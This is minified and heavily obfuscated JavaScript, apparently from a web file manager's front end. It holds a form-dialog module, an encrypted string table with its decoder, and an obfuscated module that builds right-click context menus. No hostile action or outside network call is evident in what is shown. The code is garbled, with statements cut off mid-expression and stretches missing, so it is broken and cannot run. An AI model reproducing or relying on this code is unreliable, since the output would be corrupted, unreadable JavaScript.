[data-id="'+h+'"]').click()}g.inScreen()||f.animate({scrollTop:g.offset().top-f.offset().top+f.scrollTop()},100),g.find("[name]").first().focus(),g.find(".setting-content").flash(3,100)}return{checked:0==b.length,error:b,result:a}},r=function(b){a.async(b,function(a){a&&($.isFunction(a)?a():"object"==typeof a&&a.hasOwnProperty("main")&&$.isFunction(a.main)&&a.main())})},s=function(a){if("string"==typeof a)return r(file),!1;if($.isPlainObject(a.formStyle)&&a.formStyle.loadFile){var b=a.formStyle.loadFile;"string"==typeof b&&(b=[b]),$.isArray(b)&&$(b).each(function(a,b){r(b)})}e=a,d=UUID();var c=template.compile(tplFormMake),f=c({LNG:LNG,items:a,wrapID:d});return f},t=function(a,b,c){var d=s(a);if(!d)return!1;var e={padding:0,fixed:!0,resize:!0,title:LNG.search,ico:core.icon("config"),width:700,height:510,content:d,okVal:LNG.button_save,ok:function(){var a=q();return a.checked?c(a.result):!1}};if($.isPlainObject(b))for(var f in b)e[f]=b[f];var h=$.dialog(e),i=h.DOM.wrap.find(".aui-title").html();return h.DOM.wrap.find(".modal-title").html(i),g(),h};return{makeHtml:s,bindEvent:g,getFormData:q,initDialog:t}});;var _kod_0x4121=['MVPCjhFo','wrU3wqDDrQ==','MiI4WSc=','w5xewr3Ck8KeGw==','wqF+w4U=','d8ODwrzDgcOK','VyVFw40gLyxrIcO6wro=','w5nDpxttGg==','KsOBwofCq8Kdw74=','HkfDh8KaEMKH','wrVvdcOnwqZdwqfDkAhuw64=','wqd0w5s=','wo9FWQ==','w68kwr9pBGg=','wqk/wqTDrXsw','WAfChj4=','wrdyw4oLwpoP','OcOMwprCvcKW','GxJ9wpTCgMOew5TDilgwwoo=','wotTwovClUnCpMKTwr9kPsKcwp/CqMOewpPCoF8oIm3DjcOwHg57wrM=','w74xwrl+','w4HCncKiw4DDi2M=','YcOuKMK0w6LDkg==','AknClQYDw63CoGDCtlzDu8KswqHDl8OGQMOWBsOTf8OSw4lpOn0Uwr3DnMO7w6tZw4skwr5Xw7fDhMOUw7ESwpJUwqYrw75RbMKmM3l8wqgD','BkfDhsK5DMKSFcOa','HhR9woQ=','w5Jcwr/Co8KXDsOCwp0=','BkfDhsK8EsKSC8OM','w4HCosKNw5rDqQ==','YEYLw5g=','I8KBw5zCvBIKw74dwqbDgXU=','R0/CogUp','wrpnw7hMbw==','wqIRw7QKbw==','UBDCuCdd','VkEXQn4=','SkcnWVJ4wpo0w7DCiMO3w6rCoz0=','A8Kcw4LCpDU=','wqDDhXp4aQ==','w4ZAwrbCo8Ka','BsO2w6hYwrU=','w58UwpJQRw==','K8OQwqfCmsK2','JHfClTpL','di/CpsKLDw==','cCh9w4UC','IcOhwpjCswA=','w7dsfcOHKQ==','IQ9ywpHCqA==','DkHClRbDjWk=','L8ObP8K5wr4=','w5DDoUvCrDk=','AMOjw6Rawoo=','WMKCWMO5TQ==','w77DqUDCijXDrw==','fX7CkAIg','BRtQwqXDmQ==','YMKywr5Jwpg=','dsK3eMO6bw==','YTHCpDRe','BcOswr7CnT8=','S8KsScORdg==','wpVhbcOXwoA=','KsOfwq3Cqhk=','XRrCkyBHwoBkJsKewqLDtQ==','FTRXwqPCoQ==','PnPCtQRh','FjRYw4k+CC4vK8O3wqAs','KcOmw7BNwrs=','D8OFE0k9','FF7Dn2EFw4pkeg==','asOgAcKbw4s=','woFcw6BiQQ==','MsKIw5jCsA8=','wrFHw7tCWA==','wozDjn5aR1XCtHXDpsKowo4yJcKEE8K+w6c=','AMOowofCpi7Dly7Dl8KBw5/Cjg==','MVDCiQZmw53DsmjClj/DuA==','wrZ+w5tAcFjChMKfIsKmOw==','wobCqV3Clw==','Uzl2w44W','IsO6w6tWwoE=','VBbCnDlhwpMsOsKowqfDoGYY','w4bDtCHDhsKQL8O0LcKKw6vDlw==','T8OlwoTCvMOddw==','HlrCiQvDhnZ5wo/DhRod','woXDgnFDe1rDtmE=','VyZ8w5Ao','CD1pwpc=','w43CpcKSw7jDkg==','O8KGw5DCkgk=','XEczUERZwpo=','VcKkXcOk','woJPdsO1fA==','C8OGw6F4wp5uw6hJ','wqdpw4IAwpINUQ==','Xk/CggsZwo3CsmfCrRbDp8Kzw6LCjg==','wphJUMO7asK3w6xX','w5XDtAhbNMOKwoo=','LSDCgsOtw5c=','I8OFKm07','X0PCiQYOwrTCuHs=','wr9+w4UAwoEA','Sk/CiRcIwrI=','WwrDngcyw4EPw4Y=','fcO1JcK3w6DDmVI=','e8Oawp/DjcOVw7M4wpXDoTLCr3UVH8KFwqE=','wpbCrlzClH4TUgUkw6vDgQ==','UMKiXcO0WkdsG8Ohw57Dng==','YyPCncKNNw==','ShbCnilLwpMmJQ==','wqZ0w5lRdlTCn8Kg','MB92wq7CpA==','wqZjw4YkwpQ=','W0EuRUNNwosXw6DDiMOx','w7HCgcOgYH0a','EsOhNUEF','w51waMO9Ag==','wrpldcO0wrdN','NsO0wpjCrcK0','UAfClyFb','IkEKw5jCvA==','BsOHw6tcwoZn','C8OGw6E=','w7wqwqN4D2RmwoHCjxJL','a0oLw4nCkGsoKA==','wrR1w5F3eUHCg8Kh','w5PDowxTJcOKwrsRN3DDpw==','HcOFCsKMwpE=','wqUBw54YYA==','VUsuRG9Bwpo3','ecORwpXDusOcw6o/wos=','wqF+w4YIwoMNYMOwK8Kow6A=','wroxwrjDvHA8ZHrDlMKewo0=','wqNdwpQqaMOJBlpcwp5bbUM=','wqwaw6YqYFtzU1UOQXMawq7CtMKF','DUnDm8KLG8KLDMOyw4/DkiM=','CcOGwojCszM=','ABXCrcO3w78=','MsKLw5/CpwEXw4k8wqLDnHM=','P1rCiQdKw5HDo0jCsD3DrEN3','w6DDilPCtXnDjAXDl3ETw5lOFMKHDR4=','wrB3w4oUwoYmQsOxLw==','RMOgwoHCq8OLV8OVOsK7','ThhDw6Aa','w4vCm8KUw5/DvA==','ccKHw57CvRAKw4UFw6rDn2PCr8OUw5DCiWMRV8OrTBlPHQpNb1hIwqplBcOvP8OrOsOwwp10w5HCmVFKwpPCtgs=','bSrCuHE=','w7fDo0fCiyPDsknDg8K8','IcK7P8Kgw6bDkgAnAsODOsOAw47ClkpdeMO2wrRcwqfDsCjDsQtLIsOHw5DCnQDDl1MRLMKWwrBu','w4TCl8Kgw4nDl3cCFXU=','w7IXwokvQMOTXR4=','KQTDuxkL','bkDClAIm','NsOaw73CpA==','wqsfw7olZw==','G1zCiRs=','VcKkQcOzSw==','w54Ew7/DucOd','w7MgwqNrHnQ=','wovDiHJbSVzDvWU=','w4bCm8Kuw4HDhWoNAw==','fsOOwprCqsKW','w6/CgcOjaH8X','woHDtirDnMKA','GMO9OUASwoJzw4s=','wrd0w5NbZ0U=','C8O0IkkYwoQ=','w714w4QJwoENW8OoZ8K2w7YnMsODL8OOwqom','wozDhmtX','w5BXwrXClMKeF8OFwqPCtnZ9','w6waw7s7d0M=','X8O5MU4Twpw=','w5JbwrjChcKIHMOawovCqg==','w4zDuCDDnA==','w6rDgk3CsQ==','w4ArwqxhDw==','wpzCtVfCjWg=','USRUw4Uh','wpfDvTLDvcO7w7/DmsOJ','asOoIcK9w6bDkkQ3','W08sXURUwpwxw7Y=','asOmIMK8w6XDnUMv','w74mwq5pGW95wqnCkw==','AsOkworCtzjDnDHDv8Kdw4I=','Rm1cBEPCpDVqMcK7T0c3b25iw5ROwobDq8OQUMKrwrXDhAnCvi/DtMKJHmTCjDnCm8OfLcKdw4/CoAVDEMKcQcOMLn/DjA==','w5DDt2E=','T0fCiQ8PwqHCtGI=','w6XDk1DCsXXDhDTCmA==','ZyHCusO6w6o=','TClBw40=','ADIhbA==','GMO6PlgTwohiw6jCo3Jr','wpTCpVbCo3cKVTs=','YCTCu2DDhMK9w7nDi8OuNcK+MVHDsQQpw5rDulE2','XsOUwp7Du8OZ','c0NL','NsONw7fCp3M=','wpPCqFzChA==','w4LDvSLDosKs','CsOzwozCvzg=','w6nDhk7CoVLDlAXCmlAUw4tNGsKO','wrB0w4UTwpAQV8ORL8K1w6Y=','w7vDpUrCmxnDtUfDi8KGKcOqcsK5','CDVuwpfDsxDDj8KzwoTDhMK7w4LDuB1ywrA=','Bzw7eS/DlUguaMK5Uw==','w4Upw6PDhMOcIMOgw6caWMKiwoY=','OXDCjAtx','wppVwoLCiVjCkcKCwpx0fsKa','FRh9wpXCrMOSw4XDqm42wpA2','w7TCrMK2w43DqQ==','fsONwpDCoMKG','SE/ClgIPwqzCsg==','CE/Dm8Kb','wpfCqMK2w4vDrcKLHsKm','O8OEwpHCjcKfw6vDpik=','LsOSwpzCqcKUw6/Dpw==','YH46cGs=','wopfwoDCmF7CncKZwqM=','woHCs1vCh3wOVA==','wo5QYcOSwo4=','DBnDmQESw5cGw441I8K8IFU=','b8Kqwrd/wo3CpA==','D8OaNsKswrHDn8KFNBcvwpw=','MSrCuMOxw7kR','ICDCu8Oqw6oMwoYVwp9pwos=','woZJUsOrSMKnw6c=','dcOQwp/DjMOD','S0ssVEVBwpAo','KiHCscO7w7c7wpQ=','QVzDhxzDj29+wrHCnVYOS8OJVRvCmxHDhMKpEmh+J8OJw4TDosKQwonDhVLDu1tHQ8KNwqnDp8OgZjZxw7zCrQkkw5pAM8OgHMOmClYOwooiBMOhw59fwoXCnUw6ECHDi8OPw5LDqhcUH8OkwpnCj8ONwodOw4HDh8Knw5RawrnCmcKFV8OoEllOHkTDrMKPEQ==','eMKew4nDocKawrQ=','B2HDuMKsNg==','w4nCqBLCg3cKVTt8wqfDksKYKh3Cg8KuwrtXw6jDqA==','AyI4Xzo=','wrdTX8Obwqs=','wqptwq7Cn0k=','w7lwwpTCssKx','wopOwp7ClFPCjg==','dgfCgQRb','w6ICw4TDqcOF','IsOrwpHCl8Kn','ehJAw54l','ecOyP8K4','WwnCg2zDlw==','wpVfwoLCmknCgQ==','FlDCng==','cE4Jw4nCvA==','Ji7CtsO2','T0rChBAewo7CtmTCvQ==','ZMKvwrJowpvChMOpRjw=','IhzCkcOWw6c=','wpbCrVPCk2glRyUk','EBjCl8O8w7s=','R8O5OQwVwpx3w5bCtSE8Ul9CM33CuHVuw5EWwpXDg2dmWsKZABg=','wp9Zw7pmXw==','w4Ytw6DDlA==','JnrCgMKIJQnDi2vDoAbCjWLCp2bCskTCpXXDtH4LfsOnw482wo8yVsKnCsOew5cSTT9xA8KX','UsKuUMOlTExzM8O9','Y8OVw7vDqmPCo2xowoldwqgdw6ARwrPDmsK4KkZTw73CgRvCsTZWwqYpJQ==','wpnDqD/Dk8KbaQ==','P2TCpmTDgMKrwrPDmsKsPMK5eg==','WsOQDsKyw7M=','wpbCrl/CjXoFQjs=','S8Opwo7Cv8OMcQ==','dlLCghx2','w7wtwqRgDm53wqI=','M8OYw6HCvg==','w7fDplDCiyI=','Q8OtwpTCuQ==','I8Kqwr1rwp3Cvg==','wqDDj0HCtn7DjA==','WU0jVFVGwpQ/w7w=','M8ODwprCoA==','F8KjXMOkWg==','w7/DtEHCgyM=','OMObw7zCpU0=','ZMKiwr93worCq8OrQCo=','CcODw6lXwpBuw7hR','wpTColHChWgYTS04','fMK5QMOITA==','wpxvw5gvwoY=','w5ULwoRUOg==','J8Oyw7bCk1Q=','wphKwpzCmFPCjcKiwr4=','HD1Uw4Yn','wrZOwp/CtU4=','woHDvnE=','w5JIwqvChcKVC8OlwoE=','wqJ5a8O2','SEfCkQI=','w5rCo8Kxw4zDqcKRBsKOBEph','wphewojCvlHCiMKFwqI=','Ajo7aQ==','w4FoIw==','Y8Kiwqd6','w7kswqNo','woFUcMOawpM=','woHDk3pbWw==','wo7DjnFS','Lh5swoDDpg==','S8Olw44=','w4zDryrDn8KG','ccKPQsO2SA==','wp9RwrvCskk=','FHLCgBpZ','NsOawoHDnMOewqY7wpHDqjjCtThRWMKTwqHCv8O6w4bDq8KbUURYD3t9ZXQlw6gzI8O5woRPSErCjcOnwrnCisKQwqLDisKew598woZoaGLChQ==','wpZaw4ZMbQ==','YsKBwqZ+wrk=','JybCtMOyw6ATw587wptpw5N0w4HCvcOyw6nDuQ==','UMOceMK7wrjDhsKCCk9jwo0ZO8K3wopEwo/DnWctwpDCiMOzNx0TEA==','wprCvsK2w5/DpMKdP8KmD1E=','w6LDlk7Ct2/DiQ/CmQ==','TsOiwobCtw==','w4zCiXxZRkbDvG7Ds8KLw4YuNcOXE8K3wqLDvsKqw5HDsAjDlMOMwp/Dv2UoYBA=','wrldw6dCdw==','w4bCmMKsw5/DgQ==','Q8OlwoHCtMOXfsKZJsKrW8Og','ZyLCtHjDjsKiwqDCi8OiKA==','DsOLw6RXwp1ow4RXO8OO','w7LDqUXCgj/Dpg/Di8KsKw==','N8OJwpvCu8KA','F8OXwqrCtwA=','GMOyHWc6','wobDtznDosO/w6LDlg==','w4bDqg5eNg==','FRBjwpPCvw==','w7XDkUPCu3/DhQ==','HmvCtDph','CFLClwoKwqfCsns=','XDlQw4Q9AA==','w59RwqjClA==','bMKqwoFDwoo=','NlbChh5sw4LCq0jCkik=','BcODwpnCp8KQw6HDmDvCrg==','CcOwNl4TwoN+','D1DCgQ3Dhn1l','DMO3wozCvGbDmDPDtMKAw57CjA==','bDvCsHrDtsKsw6PCgsOsJw==','w6g3wqx8','EMO1woo=','w5jCuMKrw4o=','DsOLw6RXwp1o','S8OlwpPCrA==','J8OQF8K/wo4=','w5VRwrXChA==','wprDgnJZXlfDmnrDpsK1w5A=','wp9TwoLCmQ==','wonDg3t1RFPDqmU=','w7rCh8Ksw4DDtA==','wpDCg0fChUo=','woNNT8OdZcKiw7BW','LsOeGUgs','XkPCiAwbwqXClGXCuUvDpw==','QcOlwo7CvA=='];(function(_0x2d229d,_0x1a0f4f){var _0x4791e3=function(_0x35c851){while(--_0x35c851){_0x2d229d['push'](_0x2d229d['shift']());}};_0x4791e3(++_0x1a0f4f);}(_kod_0x4121,0x182));var _kod_0x46d5=function(_0x31d508,_0x192c83){_0x31d508=_0x31d508-0x0;var _0x54e27e=_kod_0x4121[_0x31d508];if(_kod_0x46d5['alPeJt']===undefined){(function(){var _0x59794a;try{var _0x4f56db=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');_0x59794a=_0x4f56db();}catch(_0x5b1c5c){_0x59794a=window;}var _0x42da3a='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x59794a['atob']||(_0x59794a['atob']=function(_0x205346){var _0x53818a=String(_0x205346)['replace'](/=+$/,'');for(var _0x969ae0=0x0,_0x16cc7b,_0x2d32fd,_0x1b942c=0x0,_0x3ab706='';_0x2d32fd=_0x53818a['charAt'](_0x1b942c++);~_0x2d32fd&&(_0x16cc7b=_0x969ae0%0x4?_0x16cc7b*0x40+_0x2d32fd:_0x2d32fd,_0x969ae0++%0x4)?_0x3ab706+=String['fromCharCode'](0xff&_0x16cc7b>>(-0x2*_0x969ae0&0x6)):0x0){_0x2d32fd=_0x42da3a['indexOf'](_0x2d32fd);}return _0x3ab706;});}());var _0x5a9ecd=function(_0xe26b0,_0x372972){var _0x48f6e8=[],_0x312ba5=0x0,_0x322e96,_0x585eed='',_0x55aa73='';_0xe26b0=atob(_0xe26b0);for(var _0x4f675f=0x0,_0x403772=_0xe26b0['length'];_0x4f675f<_0x403772;_0x4f675f++){_0x55aa73+='%'+('00'+_0xe26b0['charCodeAt'](_0x4f675f)['toString'](0x10))['slice'](-0x2);}_0xe26b0=decodeURIComponent(_0x55aa73);for(var _0x33fa38=0x0;_0x33fa38<0x100;_0x33fa38++){_0x48f6e8[_0x33fa38]=_0x33fa38;}for(_0x33fa38=0x0;_0x33fa38<0x100;_0x33fa38++){_0x312ba5=(_0x312ba5+_0x48f6e8[_0x33fa38]+_0x372972['charCodeAt'](_0x33fa38%_0x372972['length']))%0x100;_0x322e96=_0x48f6e8[_0x33fa38];_0x48f6e8[_0x33fa38]=_0x48f6e8[_0x312ba5];_0x48f6e8[_0x312ba5]=_0x322e96;}_0x33fa38=0x0;_0x312ba5=0x0;for(var _0x13fc9d=0x0;_0x13fc9d<_0xe26b0['length'];_0x13fc9d++){_0x33fa38=(_0x33fa38+0x1)%0x100;_0x312ba5=(_0x312ba5+_0x48f6e8[_0x33fa38])%0x100;_0x322e96=_0x48f6e8[_0x33fa38];_0x48f6e8[_0x33fa38]=_0x48f6e8[_0x312ba5];_0x48f6e8[_0x312ba5]=_0x322e96;_0x585eed+=String['fromCharCode'](_0xe26b0['charCodeAt'](_0x13fc9d)^_0x48f6e8[(_0x48f6e8[_0x33fa38]+_0x48f6e8[_0x312ba5])%0x100]);}return _0x585eed;};_kod_0x46d5['GDsDvt']=_0x5a9ecd;_kod_0x46d5['laRHkJ']={};_kod_0x46d5['alPeJt']=!![];}var _0x433411=_kod_0x46d5['laRHkJ'][_0x31d508];if(_0x433411===undefined){if(_kod_0x46d5['gxHisE']===undefined){_kod_0x46d5['gxHisE']=!![];}_0x54e27e=_kod_0x46d5['GDsDvt'](_0x54e27e,_0x192c83);_kod_0x46d5['laRHkJ'][_0x31d508]=_0x54e27e;}else{_0x54e27e=_0x433411;}return _0x54e27e;};define('app/common/rightMenuExtence',[],function(_0x2e0a04,_0xc14c8e){var _0x326a5b={};_0x326a5b[_kod_0x46d5('0x0',']y0&')]=function(_0x4c2152,_0x223f23){return _0x4c2152===_0x223f23;};_0x326a5b['amRqp']='GcIXW';_0x326a5b[_kod_0x46d5('0x1','(26G')]=function(_0xac0739,_0x41d982){return _0xac0739(_0x41d982);};_0x326a5b['hQQTv']='contextMenu';_0x326a5b[_kod_0x46d5('0x2','w@%x')]=function(_0x503bfc,_0x505263){return _0x503bfc&&_0x505263;};_0x326a5b[_kod_0x46d5('0x3','CpJI')]='.disable';_0x326a5b[_kod_0x46d5('0x4','#bfE')]=function(_0x126e60,_0xc1032e){return _0x126e60+_0xc1032e;};_0x326a5b['XPzAM']=_kod_0x46d5('0x5','#bfE');_0x326a5b[_kod_0x46d5('0x6','oApp')]=':not(.menu-not-auto-hidden)';_0x326a5b[_kod_0x46d5('0x7',')b(p')]=_kod_0x46d5('0x8',')Zq2');_0x326a5b[_kod_0x46d5('0x9','$zeB')]=_kod_0x46d5('0xa','GheG');_0x326a5b['mrKSb']=_kod_0x46d5('0xb','tepW');_0x326a5b[_kod_0x46d5('0xc','Ghlq')]=function(_0x4ad72b,_0x3a8578){return _0x4ad72b==_0x3a8578;};_0x326a5b[_kod_0x46d5('0xd','E[tg')]=function(_0x463470,_0x4bc18b){return _0x463470+_0x4bc18b;};_0x326a5b[_kod_0x46d5('0xe','h*gi')]=function(_0x18d522,_0x4c8e70){return _0x18d522+_0x4c8e70;};_0x326a5b[_kod_0x46d5('0xf','gz7W')]=function(_0x4a16b4,_0x149b87){return _0x4a16b4+_0x149b87;};_0x326a5b[_kod_0x46d5('0x10','amMN')]=''),h(f[_kod_0x46d5('0x7b','a0nd')]))+''+_0x483f12,'');}var _0x5d7688=$(_0x1ed64f)[_kod_0x46d5('0x7c','w@%x')](),_0x53bb5a=_0x31f62f||d,_0x48f6a4=_0xbdb30f['$menu'][_kod_0x46d5('0x7d','J]Hl')](_0x53bb5a)[_kod_0x46d5('0x7e','6D#W')]();_0x326a5b[_kod_0x46d5('0x7f','8JG7')](0x0,_0x48f6a4[_kod_0x46d5('0x80','ZNFv')])&&_0xbdb30f[_kod_0x46d5('0x81',')b(p')][_0x53bb5a]&&(_0x48f6a4=_0xbdb30f[_kod_0x46d5('0x82',')T(f')][_0x53bb5a][_kod_0x46d5('0x83','tepW')]),0x0==_0x48f6a4[_kod_0x46d5('0x84','zjue')]&&(_0x48f6a4=_0xbdb30f[_kod_0x46d5('0x85',')Cl!')][_kod_0x46d5('0x86','Svi#')]()['last']()),_0x31f62f?_0x48f6a4['after'](_0x5d7688):d&&_0x48f6a4[_kod_0x46d5('0x87','(26G')](_0x5d7688);var _0x31ae2a=_0x5d7688[_kod_0x46d5('0x88','Svi#')](_kod_0x46d5('0x89','Yv8t'))[_kod_0x46d5('0x8a',')b(p')](_kod_0x46d5('0x8b',')Zq2'));_0x5d7688[_kod_0x46d5('0x39','#I7Z')]({'contextMenu':_0x31ae2a,'contextMenuKey':_0x6929fc,'contextMenuRoot':e});var _0x4c794c={};_0x4c794c[_kod_0x46d5('0x8c','w@%x')]=null;_0x4c794c[_kod_0x46d5('0x8d','Svi#')]=null;_0x4c794c[_kod_0x46d5('0x8e',')Zq2')]=f.accesskey;_0x4c794c['className']=f.className;_0x4c794c[_kod_0x46d5('0x8f',')Cl!')]=f.icon;_0x4c794c[_kod_0x46d5('0x90','A[bK')]=f.name;_0x4c794c[_kod_0x46d5('0x91','ZNFv')]=_0x483f12;_0x4c794c[_kod_0x46d5('0x5a','coI9')]=_0x5d7688;if(_0x31ae2a&&(_0x31ae2a[_kod_0x46d5('0x55','Svi#')]||(_0x31ae2a[_kod_0x46d5('0x92','Tg#C')]={}),_0x31ae2a[_kod_0x46d5('0x93','h*gi')][_0x6929fc]=_0x4c794c),_0x326a5b['YraqM']!=typeof f&&(_0xbdb30f[_kod_0x46d5('0x94','KCJX')]||(_0xbdb30f[_kod_0x46d5('0x95','KaAL')]={}),_0xbdb30f['commands'][_0x6929fc]=_0x4c794c,e['commands'][_0x6929fc]=_0x4c794c,e[_kod_0x46d5('0x96','#bfE')][_0x6929fc]=function(_0x337020,_0x3bccb4){f[_kod_0x46d5('0x97','KaAL')](_0x337020,_0x3bccb4);},f[_kod_0x46d5('0x98','ZNFv')]&&(e[_kod_0x46d5('0x99','gz7W')][f[_kod_0x46d5('0x8e',')Zq2')]]=_0x4c794c),f['items'])){var _0x485b5f=_0x6929fc+'-first-item',_0x1ed64f=_0x326a5b['Cngaj']+_0x6929fc+_kod_0x46d5('0x9a','L)pg')+_0x485b5f+'\x22>\x09\x09\x09\x09\x09';$(_0x1ed64f)['appendTo'](_0x5d7688),_0x4c794c['$menu']=_0x5d7688[_kod_0x46d5('0x3d','6D#W')](_0x326a5b['BfqaK'](_kod_0x46d5('0x9b',')Cl!'),_0x6929fc)),_0x4c794c[_kod_0x46d5('0x9c',']y0&')]=null,_0x4c794c[_kod_0x46d5('0x9d','A[bK')]=_0x4c794c[_kod_0x46d5('0x9e','(i@T')],_0x4c794c[_kod_0x46d5('0x9f','h*gi')]='sub',_0x5d7688[_kod_0x46d5('0xa0','L)pg')](_kod_0x46d5('0xa1','Svi#'),_0x4c794c)[_kod_0x46d5('0xa2','Tg#C')](_kod_0x46d5('0xa3','srTF')),_0x5d7688['find'](_0x326a5b[_kod_0x46d5('0xa4','&q8#')](_kod_0x46d5('0xa5','coI9'),_0x6929fc))[_kod_0x46d5('0x8a',')b(p')]({'contextMenuRoot':e,'contextMenu':_0x4c794c}),_0x5d7688['find']('li.'+_0x485b5f)['data']({'contextMenuRoot':e,'contextMenuKey':_0x485b5f,'contextMenu':_0x4c794c}),_0x4c794c[_kod_0x46d5('0xa6','a0nd')]||(_0x4c794c['items']={}),_0x4c794c[_kod_0x46d5('0x59','CpJI')][_0x485b5f]={'$input':null,'$label':null,'icon':'','name':'','_name':'','$node':_0x5d7688[_kod_0x46d5('0xa7','Tg#C')](_0x326a5b['FaoBi'](_0x326a5b[_kod_0x46d5('0xa8',')Cl!')],_0x485b5f))},i(_0x4c794c,f[_kod_0x46d5('0xa9','gz7W')],'.'+_0x485b5f);}}},$[_kod_0x46d5('0x8b',')Zq2')][_kod_0x46d5('0xaa','A[bK')]=function(_0x4f4d3b,_0x34c69d){$[_kod_0x46d5('0xab','Yv8t')][_kod_0x46d5('0xac','ZBag')](_0x4f4d3b,_0x34c69d,_kod_0x46d5('0xad','#I7Z'),!0x1);},$[_kod_0x46d5('0xae','L)pg')][_kod_0x46d5('0xaf','8JG7')]=function(_0x37f252,_0x3cf34c){$[_kod_0x46d5('0x34',')Cl!')]['menuItemClass'](_0x37f252,_0x3cf34c,_0x326a5b[_kod_0x46d5('0xb0','Ghlq')],!0x0);},$[_kod_0x46d5('0xb1','@*22')][_kod_0x46d5('0xb2','5$Bm')]=function(_0x5e37e5,_0x6637a8){if('wUupW'!==_0x326a5b[_kod_0x46d5('0xb3',')T(f')]){var _0x142712=_0x6637a8[_kod_0x46d5('0xb4','tepW')],_0x3b925e=_kod_0x46d5('0xb5',']y0&');_0x142712[_kod_0x46d5('0xb6','!BFl')](_kod_0x46d5('0xb7','W[*g'))[_kod_0x46d5('0xb8','tepW')](_0x3b925e),Hook[_kod_0x46d5('0xb9','tepW')](_0x326a5b[_kod_0x46d5('0xba','#bfE')],_0x6637a8[_kod_0x46d5('0xbb','@*22')],_0x5e37e5,_0x142712),Hook[_kod_0x46d5('0xbc','Tg#C')](_0x326a5b['FaoBi'](_0x326a5b[_kod_0x46d5('0xbd','FeGc')],_0x6637a8[_kod_0x46d5('0x4f','CpJI')]),_0x5e37e5,_0x142712);}else{$[_kod_0x46d5('0x34',')Cl!')][_kod_0x46d5('0xbe','OfMJ')](_0x5e37e5,_0x6637a8,_kod_0x46d5('0xbf','&Tiv'),!0x1);}},$['contextMenu']['menuItemRemove']=function(_0x4050d6,_0x4769bc){var _0x49c3dd=$[_kod_0x46d5('0xc0','o$)d')]['menuItem'](_0x4050d6,_0x4769bc);_0x49c3dd&&_0x49c3dd[_kod_0x46d5('0xc1','(i@T')]();},$[_kod_0x46d5('0xc2','(i@T')][_kod_0x46d5('0xc3','jcUX')]=function(_0x30fcdf,_0x4ec4c4,_0x2a10cb,_0x44a4a6){var _0xece64d=!0x1,_0x362bce=$['contextMenu'][_kod_0x46d5('0xc4','&q8#')];for(var _0x2b0111 in _0x362bce)if(_0x362bce[_0x2b0111][_kod_0x46d5('0xc5','#bfE')]==_0x4ec4c4){_0xece64d=_0x362bce[_0x2b0111];break;}if(_0xece64d&&_0x30fcdf){var _0x439d97=function(_0x3bff80){return _0x3bff80?-0x1!==_0x3bff80[_kod_0x46d5('0xc6','(i@T')]('/')?_kod_0x46d5('0xc7','J]Hl')+_0x3bff80+_kod_0x46d5('0xc8','tepW'):_0x326a5b[_kod_0x46d5('0xc9','!BFl')](_kod_0x46d5('0xca','Tg#C')+_0x3bff80,_0x326a5b[_kod_0x46d5('0xcb','L)pg')]):'';},_0x1ea789=function(_0x592497,_0x241dd9,_0x4792f6,_0x5ade5d){var _0x48d85e={};_0x48d85e[_kod_0x46d5('0xcc','FeGc')]=function(_0x25c209,_0x74859d){return _0x25c209+_0x74859d;};_0x48d85e[_kod_0x46d5('0xcd','@*22')]=function(_0x5afc13,_0x29a1aa){return _0x326a5b.vHrHH(_0x5afc13,_0x29a1aa);};_0x48d85e[_kod_0x46d5('0xce',')Zq2')]='\x20context-menu-separator\x20not-selectable\x22>';_0x48d85e['gbnoM']=_kod_0x46d5('0xcf','@*22');_0x48d85e[_kod_0x46d5('0xd0','CpJI')]=function(_0x4a0c53,_0x3fb2b0){return _0x4a0c53+_0x3fb2b0;};_0x48d85e[_kod_0x46d5('0xd1','8JG7')]=_0x326a5b.Cngaj;_0x48d85e[_kod_0x46d5('0xd2','tepW')]='\x22>\x09\x09\x09\x09\x09\x09=0x0;_0x1a2790--)_0x2b0111[_0x362bce[_0x1a2790][_kod_0x46d5('0xd7','J]Hl')]]=_0x362bce[_0x1a2790][_kod_0x46d5('0xd8','coI9')];}else _0x2b0111=_0x241dd9;$[_kod_0x46d5('0xd9','(i@T')](_0x2b0111,function(_0x464188,_0x539b1c){_0x539b1c[_kod_0x46d5('0xda',']y0&')]=_0x539b1c[_kod_0x46d5('0xdb','&Tiv')]||'';var _0x2b0111=_0x48d85e['aSDHh'](_0x48d85e[_kod_0x46d5('0xdc','(i@T')](_0x464188,'\x20'),_0x539b1c[_kod_0x46d5('0xdd','Tg#C')]);if(_0x48d85e[_kod_0x46d5('0xde','(i@T')]('string',typeof _0x539b1c))var _0x336e55=_kod_0x46d5('0xdf','Svi#')+_0x2b0111+_0x48d85e[_kod_0x46d5('0xe0','(26G')];else{var _0x1a2790=_0x539b1c[_kod_0x46d5('0xe1','8JG7')];_0x539b1c['accesskey']&&(_0x1a2790+=_kod_0x46d5('0xe2','E[tg')+_0x539b1c[_kod_0x46d5('0xe3','6D#W')]+')');var _0x336e55=_kod_0x46d5('0xe4','a0nd')+_0x2b0111+'\x22>'+_0x439d97(_0x539b1c[_kod_0x46d5('0x7b','a0nd')])+_kod_0x46d5('0xe5',')Cl!')+_0x1a2790+_kod_0x46d5('0xe6','srTF');}var _0x222928=$(_0x336e55)['clone'](),_0x1b2400=_0x4792f6||_0x5ade5d,_0x1bc473=_0x592497['$menu']['find'](_0x1b2400)['first']();_0x48d85e[_kod_0x46d5('0xe7','KaAL')](0x0,_0x1bc473[_kod_0x46d5('0x5b','$zeB')])&&_0x592497['commands'][_0x1b2400]&&(_0x1bc473=_0x592497[_kod_0x46d5('0xe8','Tg#C')][_0x1b2400]['$node']),0x0==_0x1bc473[_kod_0x46d5('0xe9','TbL]')]&&(_0x1bc473=_0x592497[_kod_0x46d5('0xea','Ghlq')][_kod_0x46d5('0xeb','ZNFv')]()[_kod_0x46d5('0xec','a0nd')]()),_0x4792f6?_0x1bc473[_kod_0x46d5('0xed','ZBag')](_0x222928):_0x5ade5d&&_0x1bc473['before'](_0x222928);var _0x399c49=_0x222928[_kod_0x46d5('0x88','Svi#')](_kod_0x46d5('0x89','Yv8t'))['data'](_kod_0x46d5('0x5d','ZNFv'));_0x222928[_kod_0x46d5('0xee','TbL]')]({'contextMenu':_0x399c49,'contextMenuKey':_0x464188,'contextMenuRoot':_0xece64d});var 